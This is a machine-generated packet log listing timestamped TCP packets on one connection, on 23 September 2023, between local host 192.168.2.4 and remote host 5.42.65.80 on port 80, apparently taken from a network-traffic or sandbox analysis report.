Sep 23, 2023 17:53:23.538842916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.538912058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538927078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538943052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538959026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.538970947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.538975954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.539001942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540127039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540163994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540183067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540224075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540260077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540266037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540328026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540369987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540424109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540460110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540503979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540632963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540740967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540786028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540786028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540822983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540858030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540867090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540925026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.540965080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.540990114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541511059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541548014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541555882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.541615009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541651011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541661024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.541686058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541723013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.541752100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541786909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.541826010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.542522907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542558908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542594910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542598963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.542629957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542665005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542666912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.542700052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542735100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.542742968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.543529034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543565035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543570995 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.543600082 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543651104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.543708086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543744087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543788910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.543817043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543853998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.543893099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.544639111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544749022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544784069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544791937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.544820070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544862986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544867992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.544898033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544933081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.544936895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.545382977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.545418978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.545424938 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.545454979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.545491934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.545521021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546022892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546063900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.546106100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546173096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546222925 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.546534061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546627045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546669006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.546695948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546930075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.546972036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.547081947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548017025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548053026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548064947 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.548147917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548187017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.548222065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548289061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548331022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.548377037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548444033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548491001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.548763037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548871040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.548912048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.548945904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549011946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549050093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.549058914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549259901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549299002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.549393892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549500942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549541950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.549587965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549655914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549695969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.549741983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549808979 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.549849987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.549926043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550029993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550070047 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.550147057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550184011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550225019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.550265074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550332069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550371885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.550404072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550812960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550856113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.550859928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550929070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.550966978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.551130056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551166058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551204920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.551250935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551382065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551420927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.551661968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551697969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551740885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.551755905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551790953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551826000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551831007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.551862001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551897049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.551902056 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.552699089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.552736044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.552743912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.552771091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.552809000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.552839041 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.552874088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.552912951 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.553025961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.553061962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.553098917 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.553926945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.553996086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554044962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554090023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554126024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554167032 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554192066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554276943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554313898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554316044 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554380894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554419994 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554625988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554712057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554747105 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554754019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554783106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554821968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.554862022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554928064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.554969072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.555011034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.555670023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.555706024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.555721998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.555866957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.555911064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.555955887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556055069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556090117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556094885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.556126118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556164026 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.556447983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556696892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556751966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.556783915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556819916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556855917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556863070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.556922913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556957960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.556962013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.557627916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.557670116 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.558842897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.558880091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.558916092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.558924913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.558983088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559017897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559024096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.559052944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559092045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.559118032 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559153080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559187889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559189081 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.559226036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559262991 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.559427977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559746027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559788942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.559812069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.559981108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.560019970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.560170889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561163902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561199903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561206102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.561326981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561367989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.561669111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561705112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561741114 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561748028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.561841011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561877012 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561878920 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.561913013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561949015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.561953068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.561984062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562021971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562079906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562115908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562154055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562406063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562508106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562549114 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562596083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562630892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562665939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562669039 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562731981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562767029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562772036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562861919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562897921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562901020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.562932968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.562971115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.563002110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563038111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563074112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.563169003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563329935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563370943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.563402891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563437939 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563473940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563476086 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.563508987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563548088 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.563685894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563779116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563813925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.563817978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.564287901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564322948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564327002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.564389944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564425945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564429998 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.564460993 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564500093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.564512014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564582109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.564624071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.565268040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565304995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565346956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.565459967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565495968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565537930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.565613985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565682888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.565723896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.565753937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.566030025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.566073895 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.566118956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.566196918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.566235065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.566241980 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.572025061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572086096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.572096109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572170973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572211027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.572523117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572539091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572576046 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.572695971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572782040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.572854042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.573122978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575536013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575552940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575579882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.575700045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575741053 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.575752020 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575910091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.575948000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.575953007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576112986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576153040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.576208115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576257944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576296091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.576373100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.576389074 CEST	80	49781	5.42.65.80	192.168.2.4
